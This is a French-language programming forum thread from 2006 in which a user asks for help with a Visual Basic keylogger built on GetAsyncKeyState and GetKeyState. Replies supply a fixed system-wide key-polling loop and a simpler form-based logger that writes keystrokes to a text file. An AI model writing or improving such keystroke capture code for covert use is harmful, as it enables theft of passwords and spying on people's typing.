Api GetAsyncKeyState et GetKeyState

Résolu
cs_moi4975 Messages postés 109 Date d'inscription lundi 27 juin 2005 Statut Membre Dernière intervention 17 juillet 2007 - 1 juil. 2006 à 20:59
troxsa Messages postés 553 Date d'inscription jeudi 28 novembre 2002 Statut Membre Dernière intervention 2 octobre 2016 - 2 juil. 2006 à 19:10
Bonsoir à tous,

J'essaye de développer un Keylog grace au Api  GetAsyncKeyState et GetKeyState ! Il fonctionne correctement apart une problème que je n'arrive pas à solutionner ! Si je tape une fois la touche ' a ' il me renvoie cette chaine "aaaaaaaaa" et ça pour toute les lettres ! Qqun a-t'il une idee pour résoudre ce problème ? merci

Voila une partie de mon code :


Public Function Demarrer()
As
IntegerY =1

Do While Y = 1
Application.DoEvents()
Clavier

Loop
End Function




 


Private Sub Clavier()

   Dim x
As Integer









   For



x = 65

To
90


   If
(GetKeyState(x) < 0)

Then


         Application.DoEvents()


   I  f
(GetKeyState(10) < 0)

then


   Texte = Texte & chr(x)


   Else


   Texte = Texte & chr(x + 32)


   End if   End If

   Next

   End Sub

6 réponses

Renfield Messages postés 17287 Date d'inscription mercredi 2 janvier 2002 Statut Modérateur Dernière intervention 27 septembre 2021 71
2 juil. 2006 à 03:36
En gros, il est passé pas mal de fois dans ta boucle alors que tu avait encore le doight appuuyé sur ta touche 'A'


regarde dans la doc, tu trouveras ta réponse...


Private Sub Clavier()

Dim x As Integer

    For x = 65 To 90

        If GetAsyncKeyState(x) And 1 Then

            Texte = Texte & Chr(x)

        End If

    Next

End Sub

Renfield
Admin CodeS-SourceS- MVP Visual Basic
3
troxsa Messages postés 553 Date d'inscription jeudi 28 novembre 2002 Statut Membre Dernière intervention 2 octobre 2016 1
2 juil. 2006 à 00:57
tu sais y pas besoin d'API pour faire ce genre de programme !
il y a les evenements dans l'environnement
personnelement peux te faire un keyloger en 5 lignes de code et sans API !

http://www.troxsa.info/
Le site qui ne parle qu'un seul langage, visual basic 2005
0
PCPT Messages postés 13280 Date d'inscription lundi 13 décembre 2004 Statut Membre Dernière intervention 3 février 2018 49
2 juil. 2006 à 01:17
commentaire au moins aussi constructif que celui-ci.....

Prenez un instant pour répondre à ce sondage svp
0
troxsa Messages postés 553 Date d'inscription jeudi 28 novembre 2002 Statut Membre Dernière intervention 2 octobre 2016 1
2 juil. 2006 à 10:28
Vodila ! l'idée est la maintenant a toi de géré les evenement comme il faut, j'ai testé et il te log bien tout comme il faut, sauf les touche special de type F1 F2 F3 .... ENTER ... il faut un peux plus de code pour arriver a ce genre de chose ...





mais pas besion d'API

Public



Sub

KeyLog(

ByVal

Ev

As




String



)






Dim
KeyWrite

As




New

StreamWriter(

"C:\KeyLog.txt"

,

True



)

KeyWrite.Write(Ev)



KeyWrite.Close()








End



Sub









Private



Sub

Form1_KeyPress(

ByVal

sender

As




Object

,

ByVal

e

As

System.Windows.Forms.KeyPressEventArgs)

Handles




Me



.KeyPress

KeyLog(e.KeyChar)








End



Sub
















http://www.troxsa.info/

Le site qui ne parle qu'un seul langage, visual basic 2005
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Renfield Messages postés 17287 Date d'inscription mercredi 2 janvier 2002 Statut Modérateur Dernière intervention 27 septembre 2021 71
2 juil. 2006 à 11:33
TroXsA... ton truc est bien joli, mais il faut que la Form1 aies le Focus ^^


d'ou l'utilisation d'API, pour connaitre l'etat du clavier n'importe quand...

Renfield
Admin CodeS-SourceS- MVP Visual Basic
0
troxsa Messages postés 553 Date d'inscription jeudi 28 novembre 2002 Statut Membre Dernière intervention 2 octobre 2016 1
2 juil. 2006 à 19:10
Oui mais y a moyen qui traite les donnés sans avoir le focus il me semble !
je suis sur que ça doit etre possible

http://www.troxsa.info/
Le site qui ne parle qu'un seul langage, visual basic 2005
0